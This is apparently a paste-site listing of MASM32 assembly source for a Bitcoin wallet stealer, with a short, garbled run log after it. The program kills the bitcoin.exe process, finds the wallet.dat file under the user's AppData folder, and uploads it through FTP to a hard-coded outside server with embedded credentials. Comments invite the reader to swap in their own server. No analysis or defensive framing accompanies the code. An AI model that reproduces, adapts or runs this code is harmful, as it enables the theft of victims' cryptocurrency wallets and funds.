fork download
  1. include \masm32\include\masm32rt.inc
  2. include \masm32\include\wininet.inc
  3. includelib \masm32\lib\wininet.lib
  4.  
  5. FTPit PROTO :DWORD,:DWORD,:DWORD
  6. KillMe PROTO :DWORD
  7. Randomize PROTO
  8. Random PROTO :DWORD
  9. ThePort equ 21
  10. .data
  11. ftpsite db "poutube.uni.me",0 ;change the server
  12. Username db "zosi",0 ;change the username
  13. Password db "g0dl1ke",0 ;change the password
  14. szTheVictim db "bitcoin.exe",0
  15. RandWallet db "%s-wallet.dat",0
  16. AppData db "AppData",0
  17. wallet db "%s\Bitcoin\wallet.dat",0
  18. random_seed dd ?
  19. res dd 0
  20. sFmt db '%u',0
  21. sBuf db 10 dup(0)
  22.  
  23. .data?
  24. buffer db MAX_PATH dup(?)
  25. WalletPath db 256 dup(?)
  26. WalletFTP db 256 dup(?)
  27. szBuffer db 256 dup(?)
  28. .code
  29. start:
  30.  
  31. invoke KillMe, addr szTheVictim ;kill the bitcoin process
  32. invoke Randomize ;generate a random number
  33. invoke Random,9999999
  34. mov res,EAX
  35. invoke wsprintf,ADDR sBuf,ADDR sFmt,res ;append it to our ftp upload filename
  36. invoke wsprintf,addr WalletFTP,addr RandWallet, addr sBuf ;ex: 9586293-wallet.dat
  37. invoke GetEnvironmentVariable, addr AppData, addr buffer, sizeof buffer ;get the %AppDATA% folder
  38. invoke wsprintf,addr WalletPath,addr wallet, addr buffer ;append the bitcoin wallet
  39. invoke FTPit, addr ftpsite, addr WalletPath,addr WalletFTP ; send that shit to a public ftp
  40. invoke ExitProcess, 0
  41.  
  42. FTPit PROC FTPserver:DWORD, lpszFile:DWORD, lpRemoteFile:DWORD
  43. local hInternet:DWORD
  44. local ftpHandle:DWORD
  45. local context:DWORD
  46. local InternetStatusCallback:DWORD
  47. invoke InternetOpen,NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
  48. mov hInternet, eax
  49. invoke InternetConnect,hInternet,FTPserver,ThePort ,\ ;if different port change INTERNET_DEFAULT_FTP_PORT to port #
  50. ADDR Username,ADDR Password,INTERNET_SERVICE_FTP,\
  51. INTERNET_FLAG_PASSIVE,ADDR context
  52. mov ftpHandle,eax
  53. invoke FtpPutFile,ftpHandle,lpszFile,lpRemoteFile,FTP_TRANSFER_TYPE_BINARY,NULL
  54. invoke InternetCloseHandle,ftpHandle
  55. invoke InternetCloseHandle, hInternet
  56. ret
  57. err:
  58. invoke GetErrDescription,eax
  59. ret
  60. FTPit endp
  61.  
  62. Random proc dwBase:dword
  63. push ebx
  64. mov eax,dwBase
  65. xor ebx,ebx
  66. imul edx,random_seed,08088405h
  67. inc edx
  68. mov random_seed,edx
  69. mul edx
  70. mov eax,edx
  71. pop ebx
  72. ret
  73. Random endp
  74. Randomize proc
  75. invoke GetTickCount
  76. mov random_seed,eax
  77. ret
  78. Randomize endp
  79. KillMe proc szFile:dword
  80. LOCAL Process:PROCESSENTRY32
  81. mov Process.dwSize, sizeof Process
  82. invoke CreateToolhelp32Snapshot, 2, 0
  83. mov esi, eax
  84. invoke Process32First, esi, addr Process
  85. @@loop:
  86. invoke lstrcmpiA,szFile, addr Process.szExeFile
  87. test eax, eax
  88. jnz @@continue
  89. invoke OpenProcess, 0001h, 0, Process.th32ProcessID
  90. invoke TerminateProcess, eax, 0
  91. @@continue:
  92. invoke Process32Next, esi, addr Process
  93. test eax, eax
  94. jz @@done
  95. jmp @@loop
  96. @@done:
  97. invoke CloseHandle, esi
  98. ret
  99. KillMe endp
  100.  
  101. end start
  102. û
Success #stdin #stdout 0.01s 5296KB
stdin
Standard input is empty
stdout
������������